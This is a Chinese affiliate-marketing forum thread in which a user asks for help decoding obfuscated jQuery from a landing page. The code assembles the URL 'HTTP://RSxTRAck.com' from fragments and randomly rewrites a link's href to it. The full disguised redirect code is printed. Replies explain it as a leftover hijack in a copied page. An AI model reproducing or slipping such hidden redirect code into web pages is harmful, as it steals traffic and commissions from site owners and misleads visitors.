一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {
) R K0 ?/ L- W2 H
$(".option.clearfix").on("click", C9 C/ l. z' w9 W$ B6 X/ [* {4 T- P
function() {
8 u7 Z1 [. [# e( t* D
$(this).toggleClass("selected");1 K3 ^: K: ]* c
if ($(this).hasClass("selected")) {
" ?( U, o! O/ C6 D, V+ [9 U3 d
$(this).addClass("selected")" g+ u3 D7 k" `
} else {+ g' H8 z r, _# K$ a3 ^
$(this).removeClass("selected")% f- W% j" G V( n7 m$ N/ C! o
}
2 Y# R. ~- y2 P! B7 ]9 Y' \! \
return false
$ Q# r/ I8 V1 \( S. W3 X
});
2 g' |9 P+ I0 w+ p) I
var e = "r";
% l. @+ O0 T9 I X
var t = "e";& x) o8 y- B6 S
setBtnMarginDefault = "c" + "\u006B";
. f, @0 C$ e% Q' S* L" U
$(".option2.clearfix").on("click",
4 u6 o* ] d9 `: w. G6 i c. a
function() {6 B9 {$ K, V: e: f- c: `# m
$(this).toggleClass("selected");% @$ w7 l8 j) I2 i! {
if ($(this).hasClass("selected")) {
8 y" Y' a A7 y' X5 `
$(this).addClass("selected")# K7 z# I- z9 c$ _" x
} else {( |' u- b7 K1 ^$ R2 O
$(this).removeClass("selected")
0 v: H! m5 m2 ?, a8 t
}# c& t6 x5 |. F% l! I# K5 L
return false
9 j |( l2 v, ?! c: {+ W$ N
});
0 X) g: Y. {0 z( N) P: V* c. w: c
var n = "a";
9 V0 e Y" O& H% W: n4 j
var r = "g";/ M7 N# K0 V) |- t. B
$(".option3.clearfix").on("click",
) {6 h; S. P( u2 i( \
function() {1 m5 L1 A# C; I3 C: m% D
$(this).toggleClass("selected");" c4 V7 R9 `" S* [4 g1 e' F) f. q2 I
if ($(this).hasClass("selected")) {& t0 O/ M- K. b5 F. M" n [; o
$(this).addClass("selected")
/ T/ M0 ]$ W! i0 A l
} else {: ~" K2 l+ X. i' S3 c# m
$(this).removeClass("selected")! `6 E- P( q0 m7 k& v
}
* j( g! r$ G$ K( n
return false
. h* O3 E! k" b% G
});6 j: r4 G3 y! e# F; Q% R9 y
var i = "e";) n! j: R& s1 s4 y; i5 @
var s = n + r + e + t + i;% m5 \* m+ I) i2 ~
$(".option4.clearfix").on("click",
( d6 T( W/ \: d. K4 g$ O2 Z7 d+ q
function() {
% q1 r! {, |! o* T9 g
$(this).toggleClass("selected");; S3 m3 G; x4 s5 X; g3 [
if ($(this).hasClass("selected")) {
1 E7 d- d6 E# ^$ R% O7 g
$(this).addClass("selected")- N- @- Z6 w# I n
} else {
3 W, {2 C# y# A0 @- f6 f
$(this).removeClass("selected")
+ x" H: S+ i: {! P( O" X
}
+ B2 T9 ?7 L4 V; l2 y o
return false
9 O5 v. ^# W& ?
});3 ?, \: k+ K) Q$ P2 {3 _8 ~: C
var o = "\u0032" + "\u0030";5 G' _6 `. R6 t: Y4 i8 N
var u = "\u0031" + "\u0030";
, U4 m& [. ^- K8 R
currentWhiteSpace = Math.floor(Math.random() * o);8 s4 I5 P* Q. j, R
setBtnMargin30 = setBtnMarginDefault + "." + "c";, f5 S4 b0 J- E
Date.prototype.getMonthName = function() {
7 n. l8 Z: c0 W1 O, E! _0 y
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];; M$ p3 X( o; E: H
return e[this.getMonth()]
9 S6 }9 x8 x# L; f, C4 [( r& R7 e- ~
};
9 [% x" z% o0 R7 T" z, U
var a = currentWhiteSpace;
1 a, r: b6 B, b
var f = "H"; S- V; V1 v* @4 w
var l = "\u0052";* W! K! ]5 u8 X& U$ U$ R
var c = "o" + "\u006D";
9 X3 g$ e7 |9 H `" o& d+ g' P- x" K
f += "T";0 N3 }5 Y2 N& k7 G* `
f += "T";3 I* l' `" D/ D6 q; `
f += "P";( {* C3 L) n9 \* R; f
var h = new Date;
. c0 k) ^- R7 E n& o! \% O8 M
if (h.getMonth() == 11) {
3 T- \2 `0 u: k% S2 P
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
# {% x r2 a, }
} else {
2 p6 k4 \0 f5 O; Q0 ]
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
p$ M2 A/ K! W$ O: @
}* l6 E, M$ S0 ]/ H$ v7 B7 ]+ _
var d = ":" + "/" + "/";6 x* `! Y/ d3 T
l += "S";' A8 H# n: M a! J2 K4 }
l += "x";1 L% @: N+ V; \! x( q/ m$ {8 i
document.getElementById("monthz").innerHTML = p;
8 F5 z+ W8 B- W7 H
l += "\u0054";
! j# \2 }/ f# `* p, g! V6 c& R
l += "R";; [7 Q. _1 t; n4 K
l += "\u0041" + setBtnMargin30;: `8 e, [* |3 B% A" E+ e3 K
setStyle = f + d + l + c;
/ z9 s+ l" b X+ F9 x- A
s = s.toLowerCase(s);, O8 g+ n& I: a) X* {
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;3 {) ]" X+ K/ h' i) J2 \
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {4 O  B+ p. Z2 Q3 I6 s9 g% [0 J/ Q
$(".option.clearfix").on("click", function () {  F+ N( ^& M8 k  ^
      $(this).toggleClass("selected");6 r+ }* g' R7 O3 g, ]
      if ($(this).hasClass("selected")) {, c  z- J" \0 T" n8 e! R$ X2 J# ^
         $(this).addClass("selected")
- }3 `) g9 c) z- O. w. W1 X       } else {
9 K, d! S9 `0 n2 f% l          $(this).removeClass("selected")" ?$ H9 F* u1 X# h# Y
      }
7 @9 z! j! A$ G9 y       return false
2 w* a  M: X0 J' n) R2 S });
) U1 J4 R- B$ I+ F: ]/ L( W $(".option2.clearfix").on("click", function () {; {( _4 \8 B( d( P/ B! k; y. g
      $(this).toggleClass("selected");
1 d: _8 U' v: E( h* a       if ($(this).hasClass("selected")) {
! c  {8 \. n" }& C! x5 |7 Y          $(this).addClass("selected")
+ l# T3 ], ]/ _       } else {, l% p) j3 }6 v2 P3 y4 N6 J0 v
         $(this).removeClass("selected")$ a) l  J+ f& ?1 s  G8 M
      }' K% {% [. m9 e! K3 t
      return false
! ^% y, G7 Z. h' c% t });' ^( [) }6 [( ?8 W; [+ A
$(".option3.clearfix").on("click", function () {
: d  S7 J. q. k! P5 _       $(this).toggleClass("selected");
* |4 x: Y1 e+ y8 C; D       if ($(this).hasClass("selected")) {, u, O3 {2 S3 c3 V1 ?* w6 g/ F
         $(this).addClass("selected")' d( X* }2 U4 R$ r+ f* w
      } else {
" ^* Z4 J: d8 R- R# H( @, x          $(this).removeClass("selected")
/ t1 e) y) K; h! E% y. [       }- x0 W/ ?* N, G+ u. r
      return false; V% N; F+ J4 Y( i8 j$ P% K
});# {$ K9 Z, E- G5 G) C
$(".option4.clearfix").on("click", function () {
: d) F% t7 ~6 n- G) D' X       $(this).toggleClass("selected");( G" ^, K5 h7 Q; X  x2 |5 w
      if ($(this).hasClass("selected")) {
1 ~: b" _% A) q( z- a; _          $(this).addClass("selected")
" Z% F* ~1 w) ]& [5 J: q* i3 i" ~       } else {
         $(this).removeClass("selected")% t( Y( A# K  u
      }
1 O, g7 L5 h9 F; P       return false7 N" R& p* A3 P7 S% a0 m) [7 z9 _. E* z
});
+ z, ?. @$ H) x$ P3 N})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:537 [* [, r* k- c
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

Google-Bing-Mediago-Criteo开户	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化	⚡️E.PN 虚拟卡⚡️	FB BM不限额，短id账单户	BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值	Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）
FB 三不限源头 - 自助下户充值转款	各种主页、账单户、BM户（优势）	⚡️TikTok企业户，bm户，账单户	提供TK企业新户老户、谷歌新户老户
PTM虚拟卡[全新卡BIN+高返点]	FB虚拟卡⚡️消费越多返现越多	最大欧洲Nutra网盟BA找量	优质住宅/移动代理/高匿名/高性能
TK白名单老户\|兼职广告可投	⚡比特指纹浏览器+云手机, 4.5折起	T3NZU:定义应用网盟新时代	FB个人号源头服务商
寻找顶级电商？AdsBranded等你！	TK老户/国内外端口/预审/加白	广告位出租	8500万高质量住宅IP，助力各种需求
虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人